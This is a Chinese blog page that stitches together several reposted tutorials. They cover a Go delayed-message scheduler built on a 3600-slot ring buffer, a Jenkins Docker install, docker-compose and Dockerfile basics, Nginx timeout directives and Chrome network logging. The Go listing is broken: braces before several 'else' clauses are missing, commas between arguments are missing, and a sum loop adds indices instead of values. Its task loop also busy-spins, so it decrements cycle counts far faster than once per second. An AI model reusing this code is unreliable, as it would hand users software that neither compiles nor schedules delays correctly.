[转]golang 实现延迟消息原理与方法

实现延迟消息最主要的两个结构:

环形队列:通过golang中的数组实现,分成3600个slot。

任务集合:通过map[key]*Task,每个slot一个map,map的值就是我们要执行的任务。

原理图如下:

140030-20170726142613250-1793759044

实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
package main;
import (
    "time"
    "errors"
    "fmt"
)
//延迟消息
type DelayMessage struct {
    //当前下标
    curIndex int;
    //环形槽
    slots [3600]map[string]*Task;
    //关闭
    closed chan bool;
    //任务关闭
    taskClose chan bool;
    //时间关闭
    timeClose chan bool;
    //启动时间
    startTime time.Time;
}
//执行的任务函数
type TaskFunc func(args ...interface{});
//任务
type Task struct {
    //循环次数
    cycleNum int;
    //执行的函数
    exec   TaskFunc;
    params []interface{};
}
//创建一个延迟消息
func NewDelayMessage() *DelayMessage {
    dm := &DelayMessage{
        curIndex:  0,
        closed:    make(chan bool),
        taskClose: make(chan bool),
        timeClose: make(chan bool),
        startTime: time.Now(),
    };
    for i := 0; i < 3600; i++ {
        dm.slots[i] = make(map[string]*Task);
    }
    return dm;
}
//启动延迟消息
func (dm *DelayMessage) Start() {
    go dm.taskLoop();
    go dm.timeLoop();
    select {
    case <-dm.closed:
        {
            dm.taskClose <- true;
            dm.timeClose <- true;
            break;
        }
    };
}
//关闭延迟消息
func (dm *DelayMessage) Close() {
    dm.closed <- true;
}
//处理每1秒的任务
func (dm *DelayMessage) taskLoop() {
    defer func() {
        fmt.Println("taskLoop exit");
    }();
    for {
        select {
        case <-dm.taskClose:
            {
                return;
            }
        default:
            {
                //取出当前的槽的任务
                tasks := dm.slots[dm.curIndex];
                if len(tasks) > 0 {
                    //遍历任务,判断任务循环次数等于0,则运行任务
                    //否则任务循环次数减1
                    for k, v := range tasks {
                        if v.cycleNum == 0 {
                            go v.exec(v.params...);
                            //删除运行过的任务
                            delete(tasks, k);
                        else {
                            v.cycleNum--;
                        }
                    }
                }
            }
        }
    }
}
//处理每1秒移动下标
func (dm *DelayMessage) timeLoop() {
    defer func() {
        fmt.Println("timeLoop exit");
    }();
    tick := time.NewTicker(time.Second);
    for {
        select {
        case <-dm.timeClose:
            {
                return;
            }
        case <-tick.C:
            {
                fmt.Println(time.Now().Format("2006-01-02 15:04:05"));
                //判断当前下标,如果等于3599则重置为0,否则加1
                if dm.curIndex == 3599 {
                    dm.curIndex = 0;
                else {
                    dm.curIndex++;
                }
            }
        }
    }
}
//添加任务
func (dm *DelayMessage) AddTask(t time.Time, key string, exec TaskFunc, params []interface{}) error {
    if dm.startTime.After(t) {
        return errors.New("时间错误");
    }
    //当前时间与指定时间相差秒数
    subSecond := t.Unix() - dm.startTime.Unix();
    //计算循环次数
    cycleNum := int(subSecond / 3600);
    //计算任务所在的slots的下标
    ix := subSecond % 3600;
    //把任务加入tasks中
    tasks := dm.slots[ix];
    if _, ok := tasks[key]; ok {
        return errors.New("该slots中已存在key为" + key + "的任务");
    }
    tasks[key] = &Task{
        cycleNum: cycleNum,
        exec:     exec,
        params:   params,
    };
    return nil;
}
func main() {
    //创建延迟消息
    dm := NewDelayMessage();
    //添加任务
    dm.AddTask(time.Now().Add(time.Second*10), "test1"func(args ...interface{}) {
        fmt.Println(args...);
    }, []interface{}{1, 2, 3});
    dm.AddTask(time.Now().Add(time.Second*10), "test2"func(args ...interface{}) {
        fmt.Println(args...);
    }, []interface{}{4, 5, 6});
    dm.AddTask(time.Now().Add(time.Second*20), "test3"func(args ...interface{}) {
        fmt.Println(args...);
    }, []interface{}{"hello""world""test"});
    dm.AddTask(time.Now().Add(time.Second*30), "test4"func(args ...interface{}) {
        sum := 0;
        for arg := range args {
            sum += arg;
        }
        fmt.Println("sum : ", sum);
    }, []interface{}{1, 2, 3});
    //40秒后关闭
    time.AfterFunc(time.Second*40, func() {
        dm.Close();
    });
    dm.Start();
}

测试结果如下:

docker安装jenkins最新版本

1.pull一个jenkins镜像 docker pull jenkins/jenkins:lts;
这个是安装最新版的jenkins,如果安装旧版本,很多插件安装不上,docker环境下升级又比较麻烦。

image.png

2.查看已经安装的jenkins镜像 docker images;

image.png

查看是否是最新版 docker inspect ba607c18aeb7

image.png

3.创建一个jenkins目录 mkdir /home/jenkins_home;
4.启动一个jenkins容器 docker run -d –name jenkins_01 -p 8081:8080 -v /home/jenkins_01:/home/jenkins_01 jenkins/jenkins:lts ;

image.png

5.查看jenkins服务 docker ps | grep jenkins;

image.png

6.启动服务端 。localhost:8081;

image.png

7.进入容器内部docker exec -it jenkins_01 bash;
8.执行:cat /var/jenkins_home/secrets/initialAdminPassword,得到密码并粘贴过去

image.png


9.输入密码之后,重启docker镜像 docker restart {CONTAINER ID},安装完毕。

image.png

作者:王大合
链接:https://www.jianshu.com/p/12c9a9654f83
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

Docker初级入门教程

在上一篇文章面向后端的Docker初级入门教程:DockerFile 命令详解 中,我们比较详细的讲解了docker镜像构建脚本DockerFile的使用和命令,DockerFile的出现让构建Docker镜像的过程更加直观和高效,但是,和我之前大多数文章中所提到的那句疑问一样。

难道这些就是全部吗?

当然不是

本篇文章是Docker初级入门教程的第五篇,在前四篇,基础篇 概念篇 实战篇 以及DockerFile那篇,我们从Docker是什么,到使用DockerFile构建自己的镜像,一步一步走来,我相信完整看完这些教程的人已经对Docker有了一个比较好的了解,并可以处理一部分现实中遇到的实际问题,但是仍然还有许多问题有着更好的解决方式,本篇文章呢,我将为大家介绍一个docker自动化部署神器,docker-compose,它可以使我们将传统的那些繁琐的docker操作指令做到自动化完成,并可以控制多个容器,实现多个容器的批量启动。

不说废话,直接看东西。

docker-compose解决了什么样的问题?

如果大家之前了解过微服务架构的话,对docker-compose的自动化部署绝对是相见恨晚,这里简单提一下,微服务架构就是将传统的单一服务拆分成多个单一的小服务,从而实现了应用的横向扩展,就拿一个大的电商平台为例,微服务就是将之前一个巨大的单体应用拆分成多个服务,比如仓库系统单独出来作为一个服务,订单系统单独作为一个应用提供服务,这样带来的好处是我们不需要像传统的方式那样升级整个服务器,而只需要根据特定业务的压力情况升级对应的服务器就好,比如双十一订单系统压力比较大,我单独把订单系统的服务器升级了就好,而不需要升级整套系统的硬件配置。

但是由于微服务各个服务间存在一定的依赖关系,比如SpringCloud里面,Eureka作为注册中心,就是要先启动的,要不然后面的服务启动的时候连接不上注册中心,注册不上去可还行,而微服务落地到Docker中,大概就是下面这么个启动过程,运维人员需要依次输入很多命令来确保各个服务按照正确的顺序启动:

docker run -d 服务A
docker run -d 服务B,必须在A之后启动
复制代码

要是只有两个服务还好说,如果十个八个咬咬牙也能接受,但是几十个,几百个服务呢?按照顺序启动的话,万一哪个没整好,换来的就是运维人员的一句我操。简直就是灾难,于是docker-compose应运而生了,docker-compose和DockerFile有着异曲同工之妙,只不过DockerFile是将镜像的构建过程给封装到了脚本里,而docker-compose则是可以将镜像的运行过程封装到了特定的脚本里,这就意味这我们可以把各个容器的启动顺序整理好,写到脚本里,运维工程师每次只需要运行这个脚本就行了,完全不用依次执行run 命令启动容器了。

为什么Docker-Compose被称作大杀器,是因为它真的解决了痛点,知识点呐,朋友们,要考的。

docker-compose 安装:

关于docker-compose安装这块,网上仍然有着非常多的教程,但是无一例外三个字,太麻烦,本次依然延续传统,只说最简单的那一种,首先确保电脑上安装了python3 和 docker

不用yum?

答:这次先不用,pip安装更好用

为啥不用python2 ? 爱python2用户表示强烈谴责

答:我用pip2装了一下,死活装不上,pip3 一下子就好了,所以我推荐pip3.

注:不会装python3 的朋友,算了,我也顺便写上去吧。另外,确保你的服务器已经装好了docker。

打开linux终端,输入以下命令:

##安装python3
yum install python3

#pip方式安装docker-compose,pip会自动寻找和你主机上docker版本相匹配的docker-compose版本
pip3 install docker-compose 
复制代码

查看是否安装成功,在终端输入:

docker-compose version
复制代码

如果显示出版本的话,则代表docker-compose在我们这台机器上已经算是按照成功了。对了,我的版本是1.24.1。

docker-compose 实战:

首先新建一个文件夹,不建也行,防止一会找不到自己把yml文件放哪了,对了,docker-compose的脚本格式是yaml文件格式,不了解的朋友可以下去补补,默认文件名是docker-compose.yml或者docker-compose.yaml

在新建的文件夹里新建一个docker-compose.yml文件,输入以下内容,这里我们仍然以tomcat为例:

mytomcat:
    image: tomcat
    ports:
       - "8086:8080"
复制代码

然后我们在当前目录(记得一定要是docker-compose.yml文件所在的目录哦,docker-compose默认是从当前目录搜索的) 输入:

docker-compose up ##根据yml文件启动容器
复制代码

然后,屏幕冒出来一大堆tomcat的日志输出,ctrl+c退出的话整个容器都退出了,这是因为默认的docker-compose up命令是前台启动的,容器内的日志输出都会在前台输出,类似于docker run -it

如果想要容器从后台启动,只需要在后面加一个 -d 就行了,如下:

docker-compose up -d
复制代码

如果启动成功,会显示

[root@iZbp1d7upppth01hp demo]# docker-compose up -d
Starting demo_mytomcat_1 ... done
复制代码

此时再执行docker ps,会发现我们的tomcat已经正常启动了,名字是demo_mytomcat_1 ,分别对应文件夹,容器名,以及编号,如果再启动一次,新的tomcat容器名字就会变成demo_mytomcat_2

docker-compose构建脚本详解:

既然容器已经运行成功了,那么接下来我们便深入了解一下docker-compose.yml 文件应该遵循的格式是如何的。

首先第一层:

  • mytomcat :我们声明构建的容器的名称,一个yaml文件可以定义多个容器。

然后是:

  • image :我们构建的镜像来源,这里是tomcat镜像,如果需要指定版本,可以写成tomcat:8 这种格式

    这个时候有人可能要问了,我如果想用我自己定义的镜像怎么办?同样是可以的,只需要写成如下这种格式即可:

    mytomcat:
        bulid: . #如果是 . docker-compose 便会在当前目录找DockerFile 文件,执行构建镜像然后启动,镜像名字是  当前目录_mytomcat
        ports:
           - "8086:8080"
    复制代码
  • ports: 相当于docker run 的 -p 参数,用来映射端口。列出端口的时候可以不带引号,但是像遇到56:56这种情况的时候,YAML会把它解析为60为基数的六十进制数字,所以强烈建议大家在写的时候加上引号。

就这么点?没了?不是,同样我们可以在yml脚本里面执行诸如设置环境变量,容器卷,链接,命令等操作。

  • environment:相当于docker run 命令的 -e 参数,用来设置环境变量。
  • volumes:相当于docker rum 命令的 -v 参数,用于配置数据卷,用法如下:
    mytomcat:
        image: tomcat
        ports:
           - "8086:8080"
        volumes: 
           - ./data:/data #把当前目录下的data文件夹挂载到容器内的data文件夹中
    复制代码
  • **links:**相当于docker run 命令中的 –link 参数,用来链接两个容器,links支持链接多个容器,用法如下:
    mytomcat:
        image: tomcat
        ports:
           - "8086:8080"
        links:
           -redis #链接到redis容器
           -mysql #链接到mysql容器,如果只需要链接一个容器,删掉一个就行了
        volumes: 
           - ./data:/data #把当前目录下的data文件夹挂载到容器内的data文件夹中
    复制代码
  • command: 使用 command 可以覆盖容器启动后默认执行的命令。
  • container_name: 如果不想使用默认生成的 <项目名称><服务名称><序号> 格式名称,可以使用container_name选项来自定义容器名称。

等,当然,docker-compose支持的命令肯定不止这几个,但是上面这几个命令无一例外是我们经常会用的,至于其他的比如日志什么的,我这里就不一一列举了,需要的时候去网上搜索就可以了。

前面有提到过,一个yml脚本是可以同时定义多个容器的,如果需要定义多个容器,直接另起一行写就行了,不过,一定要注意yaml文件本身的缩进格式

mytomcat01:
    image: tomcat
    ports:
       - "8086:8080"
       
mytomcat02:
    image: tomcat
    ports:
       - "8087:8080"
复制代码

当然,这个时候可能有人还有一个疑问,yml文件必须要是docker-compose.yml这个名字吗,我要是想用另外一个名字比如 xswl.yml 怎么办,当然是可以的,只需要加上 -f 选项 然后指定 yml文件的路径就可以了。

docker-compose -f xswl.yml up -d
复制代码

docker-compose命令:

到这里,我们的构建脚本常见的命令已经说的差不多了,当然,包括yml文件,这些都是针对docker 容器来进行操作的,而docker-compose这个软件如docker一样本身也提供了很多的命令供我们使用:

  • up: 启动所有在compose文件中定义的容器,并且把它们的日志信息汇集到一起,通常搭配 -d 使用
  • ps: 获取由Compose管理的容器的状态信息。
  • run: 启动一个容器,并允许一个一次性的命令,被链接的容器会同时启动。
  • bulid: 重新建造由DockerFile所构建的镜像,除非镜像不存在,否则up命令不会执行构建已经存在的镜像的命令,常常在需要更新镜像时使用build这个命令。
  • logs :汇集由Compose管理的容器产生的日志信息,并以彩色输出。
  • stop: 停止容器。
  • rm: 删除已经停止的容器,记得不要忘了加上 -v 来删除任何由Docker管理的数据卷。

如果说我突然不想用docker-compose这个软件了,可以执行

docker-compose stop #停止docker-compose
复制代码

如果说我又突然想用了,可以执行:

docker-compose start 或者 docker-compose up #重启相同的容器
复制代码

至于更加细致入微的骚操作,大家可以去docker官网参观学习,那么多命令,我实在是写不完(没时间写,而且有的命令我也没见过)

作者:韩数
链接:https://juejin.im/post/5dc220126fb9a04aa660dcfb
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

在上一篇文章写给后端的Docker初级入门教程:实战篇最后我们有提到用DockerFile来构建和定制属于我们自己的镜像,因为时间和篇幅问题,上一篇文章对DockerFile只做了一个简单的介绍和使用,并没有对DockerFile具体的指令进行详细的介绍和解释,本篇,作为上一篇实战篇的额外补充篇,我们将从DockerFile基础的命令入手,一步一步的去构建一个属于我们自己的镜像出来。

DockerFile介绍:

Dockerfile是由一系列命令和参数构成的脚本,一个Dockerfile里面包含了构建整个image的完整命令。Docker通过docker build执行Dockerfile中的一系列命令自动构建image。

实例:

这里我们仍然选择我们上一篇使用的在centos基础上定制我们自己的镜像为本章的代码实例,代码如下:

FROM centos  //继承至centos
ENV mypath /tmp  //设置环境变量
WORKDIR $mypath //指定工作目录

RUN yum -y install vim //执行yum命令安装vim
RUN yum -y install net-tools //执行yum命令安装net-tools

EXPOSE 80 //对外默认暴露的端口是80
CMD /bin/bash //CMD 容器启动命令,在运行容器的时候会自动执行这行命令,比如当我们 docker run -it centos 的时候,就会直接进入bash
复制代码

之后再通过docker build 命令编译该DockerFile便可以得到一个属于自己的镜像了。

然后编译该镜像
docker build -f ./DockerFile -t mycentos:1.3.
-t 新镜像名字:版本
-f 文件 -d 文件夹
复制代码

运行该镜像会发现vim和net-tools在我们新的容器中已经可以正常使用了。

接下来呢,我们将从FROM命令开始逐行介绍,最终完成对DockerFile常用命令的了解和掌握。

常用命令:

FROM命令:

既然我们是在原有的centos镜像的基础上做定制,那么我们的新镜像也一定是需要以centos这个镜像为基础的,而FROM命令则代表了这个意思,在DockerFile中,基础镜像是必须指定的,FROM指令的作用就是指定基础镜像,因此一个DockerFile中,FROM是必备的指令,而且就像java,python的import关键字一样,在DockerFile中,FROM指令必须放在第一条指令的位置

当然,这个时候可能有朋友会问了,我要是不想在其他的镜像上定制镜像怎么办呢,没问题啊,Docker 提供了scratch 这个虚拟镜像,如果你选择 FROM scratch 的话,则意味着你不以任何镜像为基础,接下来所写的指令将作为镜像的第一层开始存在,当然,在某些情况下,比如linux下静态编译的程序,运行的时候不需要操作系统提供运行时的支持,这个时候FROM scratch 是没有问题的,反而会大幅降低我们的镜像体积。

ENV指令

功能:设置环境变量

同样的,DockerFile也提供了两种格式:

  • ENV key value
  • ENV key1=value1 key2=value2

这个指令很简单,就是设置环境变量而已,无论是后面的其它指令,如 RUN, 还是运行时的应用,都可以直接使用这里定义的环境变量。

可以看到我们示例中使用ENV设置mypath变量之后,在下一行WORKDIR则使用到了mypath这个变量

ENV mypath /tmp  //设置环境变量
WORKDIR $mypath //指定工作目录
复制代码

WORKDIR 指令:

功能,指定工作目录

格式为:WORKDIR 工作目录路径,如果这个目录不存在的话,WORKDIR则会帮助我们创建这个目录。

设置过工作目录之后,当我们启动容器,会直接进入该工作目录

[root@8081304919c9 tmp]#
复制代码

RUN命令:

RUN 指令是用来执行命令行命令的。由于命令行的强大能力,RUN 指令也是在定制镜像时是较为常用的指令之一。

RUN命令的格式一共有两种,分别是:

  • Shell 格式

    RUN 命令,就像直接在命令行中输入命令一样,比如RUN yum -y install vim就是使用的这种格式

  • exec 格式

    RUN[“可执行文件”,”参数1″,”参数2″],感觉就像调用函数一样

就像我们在上一篇文章中说过的那样,DockerFile中每一条指令都会建立一层,比如我们上面执行过下面这条命令

RUN yum -y install vim 
复制代码

执行结束之后,则调用commit提交这一层的修改,使之构成一个新的镜像,怎么样,是不是豁然开朗了呢。

并没有

那好吧

同样的,Dockerfile 支持 Shell 类的行尾添加 \ 的命令换行方式,以 及行首 # 进行注释的格式。良好的格式,比如换行、缩进、注释等,会让维护、排障更为容易,这是一个比较好的习惯。

提示:

如果使用apt方式安装的话,最后不要忘记清理掉额外产生的apt缓存文件,如果不清理的话会让我们的镜像显得非常臃肿。因为DockerFile生成一层新的镜像的时候,并不会删除上一层镜像所残留的文件。

EXPOSE指令:

功能:声明端口

格式: EXPOSE 端口1 端口2

EXPOSE 指令是声明运行时容器提供服务端口,这当然只是一个声明,在运行时并不会因为这个声明应用就会开启这个端口的服务。这样声明主要是为了方便后期我们配置端口映射。

CMD指令:

之前介绍容器的时候曾经说过,Docker 不是虚拟机,容器就是进程。既然是进程,那么在启动容器的时候,需要指定所运行的程序及参数。CMD 指令就是用于指定默认的容器主进程的启动命令的。

同样的,DockerFile也为我们提供了两种格式来使用CMD命令:

  • shell 格式:CMD 命令
  • exec 格式:CMD [“可执行文件”, “参数 1”, “参数 2″…]

示例中,我们使用的是第一种:

CMD /bin/bash
复制代码

这条指令带来的效果就是,当我们通过run -it 启动命令的时候,容器会自动执行/bin/bash,centos默认也是CMD /bin/bash,所以当我们运行centos镜像的时候,会自动进入bash环境里面。

当然,我们也可以通过运行时指定命令的方式来体换默认的命令,比如:

docker run -it centos cat /etc/os-release
复制代码

这样当我们运行镜像的时候,cat /etc/os-release就会替代默认的CMD /bin/bash 输出系统的版本信息了。

如果使用 shell 格式的话, 实际的命令会被包装为 sh -c 的参数的形式进行执行。

比如:

CMD echo $HOME
复制代码

在实际执行中,会将其变更为

CMD [ "sh", "-c", "echo $HOME" ]
复制代码

当然还有很多初学者特别容易犯的问题,就是去启动后台服务,比如:

CMD service nginx start
复制代码

这样子去用,会发现容器运行了一会就自动退出了。

所以,?????

我们之前不止一次的提醒过,容器不是虚拟机,容器就是进程,容器内的应用都应该以前台运行,而不是像虚拟机,物理机那样去运行后台服务,容器就是为了主进程而存在的,主进程退出,容器就失去了存在的意义,从而退出,其它辅助进程不是它需要关心的东西。

怎么理解呢?想想偶像剧,容器是女主角,主进程是男主角

你走了,我也不活了(撕心裂肺大哭),大概就是这么个意思。

正如我们前面所提出的,实际上CMD service nginx start 最终会被理解为:

CMD [ "sh", "-c", "service nginx start"]
复制代码

在这里,我们主进程实际就是sh,当我们service nginx start执行完毕之后,那么sh自然就会退出了,主进程退出,容器自然就会相应的停止。争取的做法是直接执行nginx可执行文件,并且声明以前台的形式运行:

CMD ["nginx", "-g", "daemon off;"]
复制代码

到这里,我们示例中所涉及到的命令已经讲完了,当然,这并不够,Docker中仍然有很多命令是我们使用比较频繁的,下面我们的部分作为补充,讲一下其他常用的DockerFile命令。

COPY 命令:

功能:复制文件

Docker依旧提供了两种格式供我们选择:

  • COPY [–chown=:] <源路径>… <目标路径>
  • COPY [–chown=:] [“<源路径 1>”,… “<目标路径>”]

到这里大家其实会发现,Docker提供的两种格式其实都是差不多的用法,一种类似于命令行,一种则类似于函数调用。

第一种例如(将package.json拷贝到/usr/src/app/目录下):

COPY package.json /usr/src/app/
复制代码

其次,目标路径 可以是容器内的绝对路径,也可以是相对于工作目录的相对路径 ,工作目录可以用 WORKDIR 指令来指定,如果需要改变文件所属的用户或者用户组,可以加上–chown 选项。

需要注意的是,使用 COPY 指 令,源文件的各种元数据都会保留。比如读、写、执行权限、文件变更时间等。这 个特性对于镜像定制很有用。

ADD命令:

ADD命令可以理解为COPY命令的高级版,格式和用法与COPY几乎一致,ADD在COPY的基础上增加了一些功能,比如源路径可以是一个URL链接,当你这么用的时候,Docker会尝试着先将该URL代表的文件下载下来,然后复制到目标目录上去,其他的则是在COPY的基础上增加了解压缩之类的操作,码字码的手疼,需要了解的朋友可以去官网查看相关的文档,这里我就不延申了。

VOLUME 定义匿名卷:

在上一篇中,我们有讲容器卷这个概念,为了防止运行时用户忘记 将动态文件所保存目录挂载为卷,在 Dockerfile 中,我们可以事先指定某些 目录挂载为匿名卷,这样在运行时如果用户不指定挂载,其应用也可以正常运 行,不会向容器存储层写入大量数据。

例如:

VOLUME /data
复制代码

运行时通过-v参数即可以覆盖默认的匿名卷设置。

USER 命令:

功能:指定当前用户

格式:USER 用户名:用户组

USER 指令和 WORKDIR 相似,都是改变环境状态并影响以后的层。WORKDIR 是改变工作目录,USER 则是改变之后层的执行 RUN, CMD 以及 ENTRYPOINT 这类命令的身份。当然,和 WORKDIR 一样,USER 只是帮助你切换到指定用户。

当然这个大前提是,你的User用户是事先存在好的。

完结撒花?

不知不觉间,Docker系列初级入门教程已经发到了第四篇,篇幅也到了一万多字,前三篇文章加起来在掘金上慢慢有了大概1500左右的阅读量,我知道这点对于很多掘金大佬来说只是微不足道的一点,但对于现阶段的我来说已经非常满足了,从来没有想到过有一天自己也可以通过分享去帮助到别人,正如我之前通过别人的技术博客学习那样。

这个系列完结了吗?我想初级篇应该是完结了,但是Nginx的初级入门教程,即将到来的Mysql,Netty等等并没有,由于目前尚未毕业,还没有接受过工作的毒打(滑稽),所以只能尽自己的能力去写一些基础的入门教程,所以完结了吗?并没有,技术之路永无止境,只要我们一直在坚持学习,我想,我们可以一直继续下去。

作者:韩数
链接:https://juejin.im/post/5dafa60ff265da5b62535bcf
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

Nginx的超时timeout配置详解

本文介绍 Nginx 的 超时(timeout)配置。分享给大家,具体如下:

Nginx 处理的每个请求均有相应的超时设置。如果做好这些超时时间的限定,判定超时后资源被释放,用来处理其他的请求,以此提升 Nginx 的性能。

keepalive_timeout

HTTP 是一种无状态协议,客户端向服务器发送一个 TCP 请求,服务端响应完毕后断开连接。

如果客户端向服务器发送多个请求,每个请求都要建立各自独立的连接以传输数据。

HTTP 有一个 KeepAlive 模式,它告诉 webserver 在处理完一个请求后保持这个 TCP 连接的打开状态。若接收到来自客户端的其它请求,服务端会利用这个未被关闭的连接,而不需要再建立一个连接。

KeepAlive 在一段时间内保持打开状态,它们会在这段时间内占用资源。占用过多就会影响性能。

Nginx 使用 keepalive_timeout 来指定 KeepAlive 的超时时间(timeout)。指定每个 TCP 连接最多可以保持多长时间。Nginx 的默认值是 75 秒,有些浏览器最多只保持 60 秒,所以可以设定为 60 秒。若将它设置为 0,就禁止了 keepalive 连接。

# 配置段: http, server, location
keepalive_timeout 60s;

client_body_timeout

指定客户端与服务端建立连接后发送 request body 的超时时间。如果客户端在指定时间内没有发送任何内容,Nginx 返回 HTTP 408(Request Timed Out)。

# 配置段: http, server, location
client_body_timeout 20s;

client_header_timeout

客户端向服务端发送一个完整的 request header 的超时时间。如果客户端在指定时间内没有发送一个完整的 request header,Nginx 返回 HTTP 408(Request Timed Out)。

# 配置段: http, server, location
client_header_timeout 10s;

send_timeout

服务端向客户端传输数据的超时时间。

# 配置段 : http, server, location
send _ timeout 30 s;

客户度连接nginx超时, 建议5s内

接收客户端header超时, 默认60s, 如果60s内没有收到完整的http包头, 返回408

Syntax: client_header_timeout time;
Default:
client_header_timeout 60s;
Context: http, server
Defines a timeout for reading client request header. If a client does not transmit the entire header within this time,
the 408 (Request Time-out) error is returned to the client.

接收客户端body超时, 默认60s, 如果连续的60s内没有收到客户端的1个字节, 返回408

Syntax: client_body_timeout time;
Default:
client_body_timeout 60s;
Context: http, server, location
Defines a timeout for reading client request body. The timeout is set only for a period between two successive read operations, not for the transmission of the whole request body.
If a client does not transmit anything within this time,
the 408 (Request Time-out) error is returned to the client.

keepalive时间,默认75s,通常keepalive_timeout应该比client_body_timeout大

Syntax: keepalive_timeout timeout [header_timeout];
Default:
keepalive_timeout 75s;
Context: http, server, location
The first parameter sets a timeout during which a keep-alive client connection will stay open on the server side. The zero value disables keep-alive client connections.
The optional second parameter sets a value in the “Keep-Alive: timeout=time” response header field. Two parameters may differ.

The “Keep-Alive: timeout=time” header field is recognized by Mozilla and Konqueror. MSIE closes keep-alive connections by itself in about 60 seconds.

可以理解为TCP连接关闭时的SO_LINGER延时设置,默认5s

Syntax: lingering_timeout time;
Default:
lingering_timeout 5s;
Context: http, server, location
When lingering_close is in effect, this directive specifies the maximum waiting time for more client data to arrive. If data are not received during this time,
the connection is closed. Otherwise, the data are read and ignored, and nginx starts waiting for more data again.
The “wait-read-ignore” cycle is repeated, but no longer than specified by the lingering_time directive.

域名解析超时,默认30s

Syntax: resolver_timeout time;
Default:
resolver_timeout 30s;
Context: http, server, location
Sets a timeout for name resolution, for example:
resolver_timeout 5s;

发送数据至客户端超时, 默认60s, 如果连续的60s内客户端没有收到1个字节, 连接关闭

Syntax: send_timeout time;
Default:
send_timeout 60s;
Context: http, server, location
Sets a timeout for transmitting a response to the client. The timeout is set only between two successive write operations,
not for the transmission of the whole response. If the client does not receive anything within this time, the connection is closed.

nginx与upstream server的连接超时时间

Syntax: proxy_connect_timeout time;
Default:
proxy_connect_timeout 60s;
Context: http, server, location
Defines a timeout for establishing a connection with a proxied server. It should be noted that this timeout cannot usually exceed 75 seconds.

nginx接收upstream server数据超时, 默认60s, 如果连续的60s内没有收到1个字节, 连接关闭

Syntax: proxy_read_timeout time;
Default:
proxy_read_timeout 60s;
Context: http, server, location
Defines a timeout for reading a response from the proxied server. The timeout is set only between two successive read operations,
not for the transmission of the whole response. If the proxied server does not transmit anything within this time, the connection is closed.

nginx发送数据至upstream server超时, 默认60s, 如果连续的60s内没有发送1个字节, 连接关闭

Syntax: proxy_send_timeout time;
Default:
proxy_send_timeout 60s;
Context: http, server, location
Sets a timeout for transmitting a request to the proxied server. The timeout is set only between two successive write operations,
not for the transmission of the whole request. If the proxied server does not receive anything within this time, the connection is closed.

作者:架构师之路
链接:https://juejin.im/post/5b696a24e51d45191e0d3e56
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

排查 Chrome 网络问题

有时用户请求接口或服务不一定是服务器的问题,也及有可能是用户网络问题。如果用户使用chrome,可以很方便的用chrome自带的网络请求分析工具:

1.在Chrome新开一个标签输入chrome://net-export/;
2.点击start logging disk,存储文件
3.切换到原页面,进行正常操作,操作完成之后,回到刚才的chrome://net-export/,点击stop logging

点击 netlog_viewer.  即 https://chromium.googlesource.com/catapult/+/master/netlog_viewer/

点击 选择文件

https://netlog-viewer.appspot.com/

选择刚才生成的json文件导入即可。

具体的选项和解释如下:

选项 您可以执行的操作
Capture(捕获)

选择如何捕获数据。

  • 选择 Discard old data under memory pressure(在内存不足时舍弃旧数据),避免因捕获数据时间过长而出现崩溃情况。
  • 选择 Include the actual bytes sent/received(包括发送/接收的实际字节),将此信息添加到日志中。如果您选择此选项,可能会导致日志文件过大,还可能会导致敏感数据泄露。

您随时可以 Stop(停止)或 Reset(重置)捕获设置。

Export(导出) 此选项从 Chrome 58 起就已弃用。请改为使用 chrome://net-export/
Import(导入) 将导出的 .json 格式的 net-internals 文件导入。然后,您就可以查看有关网络事件的信息了。
Proxy(代理) 查看浏览器所使用的代理设置的相关信息。如果没有使用代理,您就会看到 Use Direct connections(使用直接连接)。
Events(事件) 即时查看事件列表。事件包含套接字连接、SPDY 会话、HTTP-TCP 连接和网址请求。错误消息会以红色文字显示。
Timeline(时间轴) 查看包含信息的图表,例如打开或使用中的套接字数量、网址和 DNS 请求数量,或发送/接收的数据量。
DNS 查看设备的 DNS 查询日志。如果网页加载失败,此选项有助于排查相关问题。日志中会列出相应网址及其对应的 IP,还会包含 DNS 请求的时间。
Sockets(套接字) 查看打开和已使用的套接字的日志。您可以使用此日志排查高级网络问题。
Alt-Svc 查看与替代服务映射有关的信息。
HTTP/2 查看 HTTP/2 会话日志和替代服务映射。
QUIC 查看有关快速 UDP 互联网连接 (QUIC) 的信息。这是一种实验性网络协议,可优化依赖于 TCP 并以连接为目的的网络应用。您可以前往 chrome://flags/#enable-quic,启用或停用 QUIC。
SDCH 查看有关“面向 HTTP 的共享字典压缩”(SDCH) 的信息。这是一种数据压缩算法,会在编码或解码之前,先使用预先协议的字典调整内部状态。字典可能是事先存储在本地的,也可能是从其他地方上传或缓存的。
Cache(缓存) 查看已缓存条目和统计信息列表。
Modules(模块) 查看有效的 Chrome 扩展程序和应用的列表。
Tests(测试) 测试与特定网址的连接。
HSTS 在 HTTP 严格传输安全 (HSTS) 集中添加或删除域名,或查询当前的 HSTS 集。

HSTS 是网站强制执行 HTTPS 连接的一种方法。有关详情,请参阅 HTTP 严格传输安全

带宽(带宽) 查看自打开标签起所发送和接收的数据总量。
Prerender(预渲染) 查看处于活动状态的预渲染网站及其历史记录。
ChromeOS(Chrome 操作系统) 捕获有助于排查 Chrome 设备问题的设备日志。您可以:

  • 导入 ONC 文件:导入开放网络配置 (ONC) 文件。
  • 存储日志:将所有设备日志存储在一个 TGZ 文件中。
  • 执行网络调试:捕获特定网络界面(包括 Wi-Fi、以太网、蜂窝网络和微波存取全球互通 (WiMAX))的日志。

要了解如何检查 Chrome 设备日志,请参阅 Chrome 设备调试日志

该内容对您有帮助吗?

